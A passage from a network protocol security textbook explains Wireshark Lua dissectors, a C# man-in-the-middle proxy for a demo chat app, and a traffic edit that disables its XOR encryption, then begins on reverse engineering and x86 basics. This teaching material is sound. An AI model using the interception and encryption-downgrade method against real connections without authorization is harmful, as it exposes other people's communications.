Both Sent from client when /quit command is used. Sent by server in response. 3 Both Sent from client with a message for all users. Sent from server with the message from all users. 5 Outbound Sent from client when /msg command is used. 6 Outbound Sent from client when /list command is used. 7 Inbound Sent from server in response to /list command. |||||||||||||||||||| |||||||||||||||||||| NOTE We’ve built a table of commands but we still don’t know how the data for each of these commands is represented. To further analyze that data, we’ll return to Wireshark and develop some code to dissect the protocol and display it in the GUI. It can be difficult to deal with simple binary files, and although we could use a tool to parse a capture file exported from Wireshark, it’s best to have Wireshark handle a lot of that work. Developing Wireshark Dissectors in Lua It’s easy to analyze a known protocol like HTTP with Wireshark because the software can extract all the necessary information. But custom protocols are a bit more challenging: to analyze them, we’ll have to manually extract all the relevant information from a byte representation of the network traffic. Fortunately, you can use the Wireshark plug-in Protocol Dissectors to add additional protocol analysis to Wireshark. Doing so used to require building a dissector in C to work with your particular version of Wireshark, but modern versions of Wireshark support the Lua scripting language. The scripts you write in Lua will also work with the tshark command line tool. This section describes how to develop a simple Lua script dissector for the SuperFunkyChat protocol that we’ve been analyzing. NOTE Details about developing in Lua and the Wireshark APIs are beyond the scope of this book. For more information on how to develop in Lua, visit its official website at https://www.lua.org/docs.html. The Wireshark website, and especially the Wiki, are the best places to visit for various tutorials and example code (https://wiki.wireshark.org/Lua/). Before developing the dissector, make sure your copy of Wireshark supports Lua by checking the About Wireshark dialog at Help ▸ About Wireshark. If you see the word Lua in the dialog, as shown in Figure 5-10, you should be good to go. Technet24 |||||||||||||||||||| |||||||||||||||||||| Figure 5-10: The Wireshark About dialog showing Lua support NOTE If you run Wireshark as root on a Unix-like system, Wireshark will typically disable Lua support for security reasons, and you’ll need to configure Wireshark to run as a nonprivileged user to capture and run Lua scripts. See the Wireshark documentation for your operating system to find out how to do so securely. You can develop dissectors for almost any protocol that Wireshark will capture, including TCP and UDP. It’s much easier to develop dissectors for UDP protocols than it is for TCP, because each captured UDP packet typically has everything needed by the dissector. With TCP, you’ll need to deal with such problems as data that spans multiple packets (which is exactly why we needed to account for length block in our work on SuperFunkyChat using the Python script in Listing 5-9). Because UDP is easier to work |||||||||||||||||||| |||||||||||||||||||| with, we’ll focus on developing UDP dissectors. Conveniently enough, SuperFunkyChat supports a UDP mode by passing the --udp command line parameter to the client when starting. Send this flag while capturing, and you should see packets similar to those shown in Figure 5-11. (Notice that Wireshark mistakenly tries to dissect the traffic as an unrelated GVSP protocol, as displayed in the Protocol column ➊. Implementing our own dissector will fix the mistaken protocol choice.) Figure 5-11: Wireshark showing captured UDP traffic One way to load Lua files is to put your scripts in the %APPDATA%\Wireshark\plugins directory on Windows and in the ~/.config/wireshark/plugins directory on Linux and macOS. You can also load a Lua script by specifying it on the command line as follows, replacing the path information with the location of your script: wireshark -X lua_script:</path/to/script.lua> If there’s an error in your script’s syntax, you should see a message dialog similar to Figure 5-12. (Granted, this isn’t exactly the most efficient way to develop, but it’s fine as long as you’re just prototyping.) Technet24 |||||||||||||||||||| |||||||||||||||||||| Figure 5-12: The Wireshark Lua error dialog Creating the Dissector To create a protocol dissector for the SuperFunkyChat protocol, first create the basic shell of the dissector and register it in Wireshark’s list of dissectors for UDP port 12345. Copy Listing 5-15 into a file called dissector.lua and load it into Wireshark along with an appropriate packet capture of the UDP traffic. It should run without errors. dissector.lua -- Declare our chat protocol for dissection ➊ chat_proto = Proto("chat","SuperFunkyChat Protocol") -- Specify protocol fields ➋ chat_proto.fields.chksum = ProtoField.uint32("chat.chksum", "Checksum", base.HEX) chat_proto.fields.command = ProtoField.uint8("chat.command", "Command") chat_proto.fields.data = ProtoField.bytes("chat.data", "Data") -- Dissector function -- buffer: The UDP packet data as a "Testy Virtual Buffer" -- pinfo: Packet information -- tree: Root of the UI tree ➌ function chat_proto.dissector(buffer, pinfo, tree) -- Set the name in the protocol column in the UI ➍ pinfo.cols.protocol = "CHAT" -- Create sub tree which represents the entire buffer. ➎ local subtree = tree:add(chat_proto, buffer(), "SuperFunkyChat Protocol Data") subtree:add(chat_proto.fields.chksum, buffer(0, 4)) subtree:add(chat_proto.fields.command, buffer(4, 1)) subtree:add(chat_proto.fields.data, buffer(5)) end -- Get UDP dissector table and add for port 12345 ➏ udp_table = DissectorTable.get("udp.port") udp_table:add(12345, chat_proto) Listing 5-15: A basic Lua Wireshark dissector When the script initially loads, it creates a new instance of the Proto class ➊, which represents an instance of a Wireshark protocol and assigns it the name chat_proto. Although |||||||||||||||||||| |||||||||||||||||||| you can build the dissected tree manually, I’ve chosen to define specific fields for the protocol at ➋ so the fields will be added to the display filter engine, and you’ll be able to set a display filter of chat.command == 0 so Wireshark will only show packets with command 0. (This technique is very useful for analysis because you can filter down to specific packets easily and analyze them separately.) At ➌, the script creates a dissector() function on the instance of the Proto class. This dissector() will be called to dissect a packet. The function takes three parameters: • A buffer containing the packet data that is an instance of something Wireshark calls a Testy Virtual Buffer (TVB). • A packet information instance that represents the display information for the dissection. • The root tree object for the UI. You can attach subnodes to this tree to generate your display of the packet data. At ➍, we set the name of the protocol in the UI column (as shown in Figure 5-11) to CHAT. Next, we build a tree of the protocol elements ➎ we’re dissecting. Because UDP doesn’t have an explicit length field, we don’t need to take that into account; we only need to extract the checksum field. We add to the subtree using the protocol fields and use the buffer parameter to create a range, which takes a start index into the buffer and an optional length. If no length is specified, the rest of the buffer is used. Then we register the protocol dissector with Wireshark’s UDP dissector table. (Notice that the function we defined at ➌ hasn’t actually executed yet; we’ve simply defined it.) Finally, we get the UDP table and add our chat_proto object to the table with port 12345 ➏. Now we’re ready to start the dissection. The Lua Dissection Start Wireshark using the script in Listing 5-15 (for example, using the –X parameter) and then load a packet capture of the UDP traffic. You should see that the dissector has loaded and dissected the packets, as shown in Figure 5-13. At ➊, the Protocol column has changed to CHAT. This matches the first line of our dissector function in Listing 5-15 and makes it easier to see that we’re dealing with the correct protocol. At ➋, the resulting tree shows the different fields of the protocol with the checksum printed in hex, as we specified. If you click the Data field in the tree, the corresponding range of bytes should be highlighted in the raw packet display at the bottom of the window ➌. Technet24 |||||||||||||||||||| |||||||||||||||||||| Figure 5-13: Dissected SuperFunkyChat protocol traffic Parsing a Message Packet Let’s augment the dissector to parse a particular packet. We’ll use command 3 as our example because we’ve determined that it marks the sending or receiving of a message. Because a received message should show the ID of the sender as well as the message text, this packet data should contain both components; this makes it a perfect example for our purposes. Listing 5-16 shows a snippet from Listing 5-10 when we dumped the traffic using our Python script. b'\x03bob\x0cHow are you?' b"\x03bob\x16This is nice isn't it?" Listing 5-16: Example message data Listing 5-16 shows two examples of message packet data in a binary Python string format. The \xXX characters are actually nonprintable bytes, so \x05 is really the byte 0x05 and \x16 is 0x16 (or 22 in decimal). Two printable strings are in each packet shown in the listing: the first is a username (in this case bob), and the second is the message. Each string is prefixed by a nonprintable character. Very simple analysis (counting characters, in this case) indicates that the nonprintable character is the length of the string that follows the character. For example, with the username string, the nonprintable character represents 0x03, and the string bob is three characters in length. |||||||||||||||||||| |||||||||||||||||||| Let’s write a function to parse a single string from its binary representation. We’ll update Listing 5-15 to add support for parsing the message command in Listing 5-17. dissector_with _commands.lua -- Declare our chat protocol for dissection chat_proto = Proto("chat","SuperFunkyChat Protocol") -- Specify protocol fields chat_proto.fields.chksum = ProtoField.uint32("chat.chksum", "Checksum", base.HEX) chat_proto.fields.command = ProtoField.uint8("chat.command", "Command") chat_proto.fields.data = ProtoField.bytes("chat.data", "Data") -- buffer: A TVB containing packet data -- start: The offset in the TVB to read the string from -- returns The string and the total length used ➊ function read_string(buffer, start) local len = buffer(start, 1):uint() local str = buffer(start + 1, len):string() return str, (1 + len) end -- Dissector function -- buffer: The UDP packet data as a "Testy Virtual Buffer" -- pinfo: Packet information -- tree: Root of the UI tree function chat_proto.dissector(buffer, pinfo, tree) -- Set the name in the protocol column in the UI pinfo.cols.protocol = "CHAT" -- Create sub tree which represents the entire buffer. local subtree = tree:add(chat_proto, buffer(), "SuperFunkyChat Protocol Data") subtree:add(chat_proto.fields.chksum, buffer(0, 4)) subtree:add(chat_proto.fields.command, buffer(4, 1)) -- Get a TVB for the data component of the packet. ➋ local data = buffer(5):tvb() local datatree = subtree:add(chat_proto.fields.data, data()) local MESSAGE_CMD = 3 ➌ local command = buffer(4, 1):uint() if command == MESSAGE_CMD then local curr_ofs = 0 local str, len = read_string(data, curr_ofs) ➍ datatree:add(chat_proto, data(curr_ofs, len), "Username: " .. str) curr_ofs = curr_ofs + len str, len = read_string(data, curr_ofs) datatree:add(chat_proto, data(curr_ofs, len), "Message: " .. str) end end -- Get UDP dissector table and add for port 12345 udp_table = DissectorTable.get("udp.port") udp_table:add(12345, chat_proto) Listing 5-17: The updated dissector script used to parse the Message command In Listing 5-17, the added read_string() function ➊ takes a TVB object (buffer) and a starting offset (start), and it returns the length of the buffer and then the string. Technet24 |||||||||||||||||||| |||||||||||||||||||| NOTE What if the string is longer than the range of a byte value? Ah, that’s one of the challenges of protocol analysis. Just because something looks simple doesn’t mean it actually is simple. We’ll ignore issues such as the length because this is only meant as an example, and ignoring length works for any examples we’ve captured. With a function to parse the binary strings, we can now add the Message command to the dissection tree. The code begins by adding the original data tree and creates a new TVB object ➋ that only contains the packet’s data. It then extracts the command field as an integer and checks whether it’s our Message command ➌. If it’s not, we leave the existing data tree, but if the field matches, we proceed to parse the two strings and add them to the data subtree ➍. However, instead of defining specific fields, we can add text nodes by specifying only the proto object rather than a field object. If you now reload this file into Wireshark, you should see that the username and message strings are parsed, as shown in Figure 5-14. Figure 5-14: A parsed Message command Because the parsed data ends up as filterable values, we can select a Message command by specifying chat.command == 3 as a display filter, as shown at ➊ in Figure 5-14. We can see that the username and message strings have been parsed correctly in the tree, as shown at ➋. |||||||||||||||||||| |||||||||||||||||||| That concludes our quick introduction to writing a Lua dissector for Wireshark. Obviously, there is still plenty you can do with this script, including adding support for more commands, but you have enough for prototyping. NOTE Be sure to visit the Wireshark website for more on how to write parsers, including how to implement a TCP stream parser. Using a Proxy to Actively Analyze Traffic Using a tool such as Wireshark to passively capture network traffic for later analysis of network protocols has a number of advantages over active capture (as discussed in Chapter 2). Passive capture doesn’t affect the network operation of the applications you’re trying to analyze and requires no modifications of the applications. On the other hand, passive capture doesn’t allow you to interact easily with live traffic, which means you can’t modify traffic easily on the fly to see how applications will respond. In contrast, active capture allows you to manipulate live traffic but requires more setup than passive capture. It may require you to modify applications, or at the very least to redirect application traffic through a proxy. Your choice of approach will depend on your specific scenario, and you can certainly combine passive and active capture. In Chapter 2, I included some example scripts to demonstrate capturing traffic. You can combine these scripts with the Canape Core libraries to generate a number of proxies, which you might want to use instead of passive capture. Now that you have a better understanding of passive capture, I’ll spend the rest of this chapter describing techniques for implementing a proxy for the SuperFunkyChat protocol and focus on how best to use active network capture. Setting Up the Proxy To set up the proxy, we’ll begin by modifying one of the capture examples in Chapter 2, specifically Listing 2-4, so we can use it for active network protocol analysis. To simplify the development process and configuration of the SuperFunkyChat application, we’ll use a port-forwarding proxy rather than something like SOCKS. Copy Listing 5-18 into the file chapter5_proxy.csx and run it using Canape Core by passing the script’s filename to the CANAPE.Cli executable. chapter5 _proxy.csx using static System.Console; using static CANAPE.Cli.ConsoleUtils; Technet24 |||||||||||||||||||| |||||||||||||||||||| var template = new FixedProxyTemplate(); // Local port of 4444, destination 127.0.0.1:12345 ➊ template.LocalPort = 4444; template.Host = "127.0.0.1"; template.Port = 12345; var service = template.Create(); // Add an event handler to log a packet. Just print to console. ➋ service.LogPacketEvent += (s,e) => WritePacket(e.Packet); // Print to console when a connection is created or closed. ➌ service.NewConnectionEvent += (s,e) => WriteLine("New Connection: {0}", e.Description); service.CloseConnectionEvent += (s,e) => WriteLine("Closed Connection: {0}", e.Description); service.Start(); WriteLine("Created {0}", service); WriteLine("Press Enter to exit..."); ReadLine(); service.Stop(); Listing 5-18: The active analysis proxy At ➊, we tell the proxy to listen locally on port 4444 and make a proxy connection to 127.0.0.1 port 12345. This should be fine for testing the chat application, but if you want to reuse the script for another application protocol, you’ll need to change the port and IP address as appropriate. At ➋, we make one of the major changes to the script in Chapter 2: we add an event handler that is called whenever a packet needs to be logged, which allows us to print the packet as soon it arrives. At ➌, we add some event handlers to print when a new connection is created and then closed. Next, we reconfigure the ChatClient application to communicate with local port 4444 instead of the original port 12345. In the case of ChatClient, we simply add the --port NUM parameter to the command line as shown here: ChatClient.exe --port 4444 user1 127.0.0.1 NOTE Changing the destination in real-world applications may not be so simple. Review Chapters 2 and 4 for ideas on how to redirect an arbitrary application into your proxy. The client should successfully connect to the server via the proxy, and the proxy’s console should begin displaying packets, as shown in Listing 5-19. CANAPE.Cli (c) 2017 James Forshaw, 2014 Context Information Security. Created Listener (TCP 127.0.0.1:4444), Server (Fixed Proxy Server) Press Enter to exit... ➊ New Connection: 127.0.0.1:50844 <=> 127.0.0.1:12345 Tag 'Out'➋ – Network '127.0.0.1:50844 <=> 127.0.0.1:12345'➌ : 00 01 02 03 04 05 06 07 08 09 0A 0B 0C 0D 0E 0F - 0123456789ABCDEF |||||||||||||||||||| |||||||||||||||||||| --------:------------------------------------------------------------------- 00000000: 42 49 4E 58 00 00 00 0E 00 00 04 16 00 05 75 73 - BINX..........us 00000010: 65 72 31 05 62 6F 72 61 78 00 - er1.borax. Tag 'In'➍ - Network '127.0.0.1:50844 <=> 127.0.0.1:12345' : 00 01 02 03 04 05 06 07 08 09 0A 0B 0C 0D 0E 0F - 0123456789ABCDEF --------:------------------------------------------------------------------- 00000000: 00 00 00 02 00 00 00 01 01 00 - .......... PM - Tag 'Out' - Network '127.0.0.1:50844 <=> 127.0.0.1:12345' : 00 01 02 03 04 05 06 07 08 09 0A 0B 0C 0D 0E 0F - 0123456789ABCDEF --------:------------------------------------------------------------------- ➎ 00000000: 00 00 00 0D - .... Tag 'Out' - Network '127.0.0.1:50844 <=> 127.0.0.1:12345' : 00 01 02 03 04 05 06 07 08 09 0A 0B 0C 0D 0E 0F - 0123456789ABCDEF --------:------------------------------------------------------------------- 00000000: 00 00 04 11 03 05 75 73 65 72 31 05 68 65 6C 6C - ......user1.hell 00000010: 6F - o --snip-- ➏ Closed Connection: 127.0.0.1:50844 <=> 127.0.0.1:12345 Listing 5-19: Example output from proxy when a client connects Output indicating that a new proxy connection has been made is shown at ➊. Each packet is displayed with a header containing information about its direction (outbound or inbound), using the descriptive tags Out ➋ and In ➍. If your terminal supports 24-bit color, as do most Linux, macOS, and even Windows 10 terminals, you can enable color support in Canape Core using the --color parameter when starting a proxy script. The colors assigned to inbound packets are similar to those in Wireshark: pink for outbound and blue for inbound. The packet display also shows which proxy connection it came from ➌, matching up with the output at ➊. Multiple connections could occur at the same time, especially if you’re proxying a complex application. Each packet is dumped in hex and ASCII format. As with capture in Wireshark, the traffic might be split between packets as in ➎. However, unlike with Wireshark, when using a proxy, we don’t need to deal with network effects such as retransmitted packets or fragmentation: we simply access the raw TCP stream data after the operating system has dealt with all the network effects for us. At ➏, the proxy prints that the connection is closed. Protocol Analysis Using a Proxy With our proxy set up, we can begin the basic analysis of the protocol. The packets shown in Listing 5-19 are simply the raw data, but we should ideally write code to parse the traffic as we did with the Python script we wrote for Wireshark. To that end, we’ll write a Data Parser class containing functions to read and write data to and from the network. Copy Listing 5-20 into a new file in the same directory as you copied chapter5_proxy.csx in Listing 5-18 and call it parser.csx. parser.csx Technet24 |||||||||||||||||||| |||||||||||||||||||| using CANAPE.Net.Layers; using System.IO; class Parser : DataParserNetworkLayer { ➊ protected override bool NegotiateProtocol( Stream serverStream, Stream clientStream) { ➋ var client = new DataReader(clientStream); var server = new DataWriter(serverStream); // Read magic from client and write it to server. ➌ uint magic = client.ReadUInt32(); Console.WriteLine("Magic: {0:X}", magic); server.WriteUInt32(magic); // Return true to signal negotiation was successful. return true; } } Listing 5-20: A basic parser code for proxy The negotiation method ➊ is called before any other communication takes place and is passed to two C# stream objects: one connected to the Chat Server and the other to the Chat Client. We can use this negotiation method to handle the magic value the protocol uses, but we could also use it for more complex tasks, such as enabling encryption if the protocol supports it. The first task for the negotiation method is to read the magic value from the client and pass it to the server. To simply read and write the 4-byte magic value, we first wrap the streams in DataReader and DataWriter classes ➋. We then read the magic value from the client, print it to the console, and write it to the server ➌. Add the line #load "parser.csx" to the very top of chapter5_proxy.csx. Now when the main chapter5_proxy.csx script is parsed, the parser.csx file is automatically included and parsed with the main script. Using this loading feature allows you to write each component of your parser in a separate file to make the task of writing a complex proxy manageable. Then add the line template.AddLayer<Parser>(); just after template.Port = 12345; to add the parsing layer to every new connection. This addition will instantiate a new instance of the Parser class in Listing 5-20 with every connection so you can store any state you need as members of the class. If you start the proxy script and connect a client through the proxy, only important protocol data is logged; you’ll no longer see the magic value (other than in the console output). Adding Basic Protocol Parsing Now we’ll reframe the network protocol to ensure that each packet contains only the data for a single packet. We’ll do this by adding functions to read the length and checksum fields from the network and leave only the data. At the same time, we’ll rewrite the length and checksum when sending the data to the original recipient to keep the connection |||||||||||||||||||| |||||||||||||||||||| open. By implementing this basic parsing and proxying of a client connection, all nonessential information, such as lengths and checksums, should be removed from the data. As an added bonus, if you modify data inside the proxy, the sent packet will have the correct checksum and length to match your modifications. Add Listing 5-21 to the Parser class to implement these changes and restart the proxy. ➊ int CalcChecksum(byte[] data) { int chksum = 0; foreach(byte b in data) { chksum += b; } return chksum; } ➋ DataFrame ReadData(DataReader reader) { int length = reader.ReadInt32(); int chksum = reader.ReadInt32(); return reader.ReadBytes(length).ToDataFrame(); } ➌ void WriteData(DataFrame frame, DataWriter writer) { byte[] data = frame.ToArray(); writer.WriteInt32(data.Length); writer.WriteInt32(CalcChecksum(data)); writer.WriteBytes(data); } ➍ protected override DataFrame ReadInbound(DataReader reader) { return ReadData(reader); } protected override void WriteOutbound(DataFrame frame, DataWriter writer) { WriteData(frame, writer); } protected override DataFrame ReadOutbound(DataReader reader) { return ReadData(reader); } protected override void WriteInbound(DataFrame frame, DataWriter writer) { WriteData(frame, writer); } Listing 5-21: Parser code for SuperFunkyChat protocol Although the code is a bit verbose (blame C# for that), it should be fairly simple to understand. At ➊, we implement the checksum calculator. We could check packets we read to verify their checksums, but we’ll only use this calculator to recalculate the checksum when sending the packet onward. The ReadData() function at ➋ reads a packet from the network connection. It first reads a big endian 32-bit integer, which is the length, then the 32-bit checksum, and finally the data as bytes before calling a function to convert that byte array to a DataFrame. (A DataFrame is an object to contain network packets; you can convert a byte array or a string to a frame depending on what you need.) The WriteData() function at ➌ does the reverse of ReadData(). It uses the ToArray() method Technet24 |||||||||||||||||||| |||||||||||||||||||| on the incoming DataFrame to convert the packet to bytes for writing. Once we have the byte array, we can recalculate the checksum and the length, and then write it all back to the DataWriter class. At ➍, we implement the various functions to read and write data from the inbound and outbound streams. Put together all the different scripts for network proxy and parsing and start a client connection through the proxy, and all nonessential information, such as lengths and checksums, should be removed from the data. As an added bonus, if you modify data inside the proxy, the sent packet will have the correct checksum and length to match your modifications. Changing Protocol Behavior Protocols often include a number of optional components, such as encryption or compression. Unfortunately, it’s not easy to determine how that encryption or compression is implemented without doing a lot of reverse engineering. For basic analysis, it would be nice to be able to simply remove the component. Also, if the encryption or compression is optional, the protocol will almost certainly indicate support for it while negotiating the initial connection. So, if we can modify the traffic, we might be able to change that support setting and disable that additional feature. Although this is a trivial example, it demonstrates the power of using a proxy instead of passive analysis with a tool like Wireshark. We can modify the connection to make analysis easier. For example, consider the chat application. One of its optional features is XOR encryption (although see Chapter 7 on why it’s not really encryption). To enable this feature, you would pass the --xor parameter to the client. Listing 5-22 compares the first couple of packets for the connection without the XOR parameter and then with the XOR parameter. OUTBOUND XOR : 00 05 75 73 65 72 32 04 4F 4E 59 58 01 - ..user2.ONYX. OUTBOUND NO XOR: 00 05 75 73 65 72 32 04 4F 4E 59 58 00 - ..user2.ONYX. INBOUND XOR : 01 E7 - .. INBOUND NO XOR: 01 00 - .. Listing 5-22: Example packets with and without XOR encryption enabled I’ve highlighted in bold two differences in Listing 5-22. Let’s draw some conclusions from this example. In the outbound packet (which is command 0 based on the first byte), the final byte is a 1 when XOR is enabled but 0x00 when it’s not enabled. My guess would be that this flag indicates that the client supports XOR encryption. For inbound traffic, the final byte of the first packet (command 1 in this case) is 0xE7 when XOR is enabled and 0x00 when it’s not. My guess would be that this is a key for the XOR encryption. In fact, if you look at the client console when you’re enabling XOR encryption, you’ll see the line ReKeying connection to key 0xE7, which indicates it is indeed the key. Although the negotiation is valid traffic, if you now try to send a message with the client through the |||||||||||||||||||| |||||||||||||||||||| proxy, the connection will no longer work and may even be disconnected. The connection stops working because the proxy will try to parse fields, such as the length of the packet, from the connection but will get invalid values. For example, when reading a length, such as 0x10, the proxy will instead read 0x10 XOR 0xE7, which is 0xF7. Because there are no 0xF7 bytes on the network connection, it will hang. The short explanation is that to continue the analysis in this situation, we need to do something about the XOR. While implementing the code to de-XOR the traffic when we read it and re-XOR it again when we write it wouldn’t be especially difficult, it might not be so simple to do if this feature were implemented to support some proprietary compression scheme. Therefore, we’ll simply disable XOR encryption in our proxy irrespective of the client’s setting. To do so, we read the first packet in the connection and ensure that the final byte is set to 0. When we forward that packet onward, the server will not enable XOR and will return the value of 0 as the key. Because 0 is a NO-OP in XOR encryption (as in A XOR 0 = A), this technique will effectively disable the XOR. Change the ReadOutbound() method in the parser to the code in Listing 5-23 to disable the XOR encryption. protected override DataFrame ReadOutbound(DataReader reader) { DataFrame frame = ReadData(reader); // Convert frame back to bytes. byte[] data = frame.ToArray(); if (data[0] == 0) { Console.WriteLine("Disabling XOR Encryption"); data[data.Length - 1] = 0; frame = data.ToDataFrame(); } return frame; } Listing 5-23: Disable XOR encryption If you now create a connection through the proxy, you’ll find that regardless of whether the XOR setting is enabled or not, the client will not be able to enable XOR. Final Words In this chapter, you learned how to perform basic protocol analysis on an unknown protocol using passive and active capture techniques. We started by doing basic protocol analysis using Wireshark to capture example traffic. Then, through manual inspection and a simple Python script, we were able to understand some parts of an example chat protocol. We discovered in the initial analysis that we were able to implement a basic Lua dissector for Wireshark to extract protocol information and display it directly in the Wireshark GUI. Using Lua is ideal for prototyping protocol analysis tools in Wireshark. Finally, we implemented a man-in-the-middle proxy to analyze the protocol. Proxying the traffic allows demonstration of a few new analysis techniques, such as modifying Technet24 |||||||||||||||||||| |||||||||||||||||||| protocol traffic to disable protocol features (such as encryption) that might hinder the analysis of the protocol using purely passive techniques. The technique you choose will depend on many factors, such as the difficulty of capturing the network traffic and the complexity of the protocol. You’ll want to apply the most appropriate combination of techniques to fully analyze an unknown protocol. |||||||||||||||||||| |||||||||||||||||||| 6 APPLICATION REVERSE ENGINEERING If you can analyze an entire network protocol just by looking at the transmitted data, then your analysis is quite simple. But that’s not always possible with some protocols, especially those that use custom encryption or compression schemes. However, if you can get the executables for the client or server, you can use binary reverse engineering (RE) to determine how the protocol operates and search for vulnerabilities as well. The two main kinds of reverse engineering are static and dynamic. Static reverse engineering is the process of disassembling a compiled executable into native machine code and using that code to understand how the executable works. Dynamic reverse engineering involves executing an application and then using tools, such as debuggers and function monitors, to inspect the application’s runtime operation. In this chapter, I’ll walk you through the basics of taking apart executables to identify and understand the code areas responsible for network communication. I’ll focus on the Windows platform first, because you’re more likely to find applications without source code on Windows than you are on Linux or macOS. Then, I’ll cover the differences between platforms in more detail and give you some tips and tricks for working on alternative platforms; however, most of the skills you’ll learn will be applicable on all platforms. As you read, keep in mind that it takes time to become good reverse engineer, and I can’t possibly cover the broad topic of reverse engineering in one chapter. Before we delve into reverse engineering, I’ll discuss how developers create executable files and then provide some details about the omnipresent x86 computer architecture. Once you understand the basics of x86 architecture and how it represents instructions, you’ll know what to look for when you’re reverse engineering code. Finally, I’ll explain some general operating system principles, including how the operating system implements networking functionality. Armed with this knowledge, you should be able to track down and analyze network applications. Let’s start with background information on how programs execute on a modern operating system and examine the principles of compilers and interpreters. Compilers, Interpreters, and Assemblers Most applications are written in a higher-level programming language, such as C/C++, C#, Java, or one of the many scripting languages. When an application is developed, the raw language is its source code. Unfortunately, computers don’t understand source code, so the high-level language must be converted into machine code (the native instructions the Technet24 |||||||||||||||||||| |||||||||||||||||||| computer’s processor executes) by interpreting or compiling the source code. The two common ways of developing and executing programs is by interpreting the original source code or by compiling a program to native code. The way a program executes determines how we reverse engineer it, so let’s look at these two distinct methods of execution to get a better idea of how they work. Interpreted Languages Interpreted languages, such as Python and Ruby, are sometimes called scripting languages, because their applications are commonly run from short scripts written as text files. Interpreted languages are dynamic and speed up development time. But interpreters execute programs more slowly than code that has been converted to machine code, which the computer understands directly. To convert source code to a more native representation, the programming language can instead be compiled. Compiled Languages Compiled programming languages use a compiler to parse the source code and generate machine code, typically by generating an intermediate language first. For native code generation, usually an assembly language specific to the CPU on which the application will run (such as 32- or 64-bit assembly) is used. The language is a human-readable and understandable form of the underlying processor’s instruction set. The assembly language is then converted to machine code using an assembler. For example, Figure 6-1 shows how a C compiler works. |||||||||||||||||||| |||||||||||||||||||| Figure 6-1: The C language compilation process To reverse a native binary to the original source code, you need to reverse the compilation using a process called decompilation. Unfortunately, decompiling machine code is quite difficult, so reverse engineers typically reverse just the assembly process using a process called disassembly. Static vs. Dynamic Linking With extremely simple programs, the compilation process might be all that is needed to produce a working executable. But in most applications, a lot of code is imported into the final executable from external libraries by linking—a process that uses a linker program after compilation. The linker takes the application-specific machine code generated by the compiler, along with any necessary external libraries used by the application, and embeds Technet24 |||||||||||||||||||| |||||||||||||||||||| everything in a final executable by statically linking any external libraries. This static linking process produces a single, self-contained executable that doesn’t depend on the original libraries. Because certain processes might be handled in very different ways on different operating systems, static linking all code into one big binary might not be a good idea because the OS-specific implementation could change. For example, writing to a file on disk might have widely different operating system calls on Windows than it does on Linux. Therefore, compilers commonly link an executable to operating system–specific libraries by dynamic linking: instead of embedding the machine code in the final executable, the compiler stores only a reference to the dynamic library and the required function. The operating system must resolve the linked references when the application runs. The x86 Architecture Before getting into the methods of reverse engineering, you’ll need some understanding of the basics of the x86 computer architecture. For a computer architecture that is over 30 years old, x86 is surprisingly persistent. It’s used in the majority of desktop and laptop computers available today. Although the PC has been the traditional home of the x86 architecture, it has found its way into Mac1 computers, game consoles, and even smartphones. The original x86 architecture was released by Intel in 1978 with the 8086 CPU. Over the years, Intel and other manufacturers (such as AMD) have improved its performance massively, moving from supporting 16-bit operations to 32-bit and now 64-bit operations. The modern architecture has barely anything in common with the original 8086, other than processor instructions and programming idioms. Because of its lengthy history, the x86 architecture is very complex. We’ll first look at how the x86 executes machine code, and then examine its CPU registers and the methods used to determine the order of execution. The Instruction Set Architecture When discussing how a CPU executes machine code, it’s common to talk about the instruction set architecture (ISA). The ISA defines how the machine code works and how it interacts with the CPU and the rest of the computer. A working knowledge of the ISA is crucial for effective reverse engineering. The ISA defines the set of machine language instructions available to a program; each individual machine language instruction is represented by a mnemonic instruction. The mnemonics name each instruction and determine how its parameters, or operands, are represented. Table 6-1 lists the mnemonics of some of the most common x86 instructions. (I’ll cover many of these instructions in greater detail in the following sections.) |||||||||||||||||||| |||||||||||||||||||| Table 6-1: Common x86 Instruction Mnemonics Instruction Description MOV destination, source Moves a value from source to destination ADD destination, value Adds an integer value to the destination SUB destination, value Subtracts an integer value from a destination CALL address Calls the subroutine at the specified address JMP address Jumps unconditionally to the specified address RET Returns from a previous subroutine RETN size Returns from a previous subroutine and then increments the stack by size Jcc address Jumps to the specified address if the condition indicated by cc is true PUSH value Pushes a value onto the current stack and decrements the stack pointer POP destination Pops the top of the stack into the destination and increments the stack pointer CMP valuea, valueb Compares valuea and valueb and sets the appropriate flags TEST valuea, valueb Performs a bitwise AND on valuea and valueb and sets the appropriate flags AND destination, value Performs a bitwise AND on the destination with the value OR destination, value Performs a bitwise OR on the destination with the value XOR destination, value Performs a bitwise Exclusive OR on the destination with the value SHL destination, N Shifts the destination to the left by N bits (with left being higher bits) SHR destination, N Shifts the destination to the right by N bits (with right being lower bits) INC destination Increments destination by 1 DEC destination Decrements destination by 1 These mnemonic instructions take one of three forms depending on how many operands the instruction takes. Table 6-2 shows the three different forms of operands. Technet24 |||||||||||||||||||| |||||||||||||||||||| Table 6-2: Intel Mnemonic Forms Number of operands Form Examples 0 NAME POP, RET 1 NAME input PUSH 1; CALL func 2 NAME output, input MOV EAX, EBX; ADD EDI, 1 The two common ways to represent x86 instructions in assembly are Intel and AT&T syntax. Intel syntax, originally developed by the Intel Corporation, is the syntax I use throughout this chapter. AT&T syntax is used in many development tools on Unix-like systems. The syntaxes differ in a few ways, such as the order in which operands are given. For example, the instruction to add 1 to the value stored in the EAX register would look like this in Intel syntax: ADD EAX, 1 and like this in AT&T Syntax: addl $1, %eax. CPU Registers The CPU has a number of registers for very fast, temporary storage of the current state of execution. In x86, each register is referred to by a two- or three-character label. Figure 6-2 shows the main registers for a 32-bit x86 processor. It’s essential to understand the many types of registers the processor supports because each serves different purposes and is necessary for understanding how the instructions operate. Figure 6-2: The main 32-bit x86 registers The x86’s registers are split into four main categories: general purpose, memory index, control, and selector. |||||||||||||||||||| |||||||||||||||||||| General Purpose Registers The general purpose registers (EAX, EBX, ECX, and EDX in Figure 6-2) are temporary stores for nonspecific values of computation, such as the results of addition or subtraction. The general purpose registers are 32 bits in size, although instructions can access them in 16- and 8-bit versions using a simple naming convention: for example, a 16-bit version of the EAX register is accessed as AX, and the 8-bit versions are AH and AL. Figure 6-3 shows the organization of the EAX register. Figure 6-3: EAX general purpose register with small register components Memory Index Registers The memory index registers (ESI, EDI, ESP, EBP, EIP) are mostly general purpose except for the ESP and EIP registers. The ESP register is used by the PUSH and POP instructions, as well as during subroutine calls to indicate the current memory location of the base of a stack. Although you can utilize the ESP register for purposes other than indexing into the stack, it’s usually unwise to do so because it might cause memory corruption or unexpected behavior. The reason is that some instructions implicitly rely on the value of the register. On the other hand, the EIP register cannot be directly 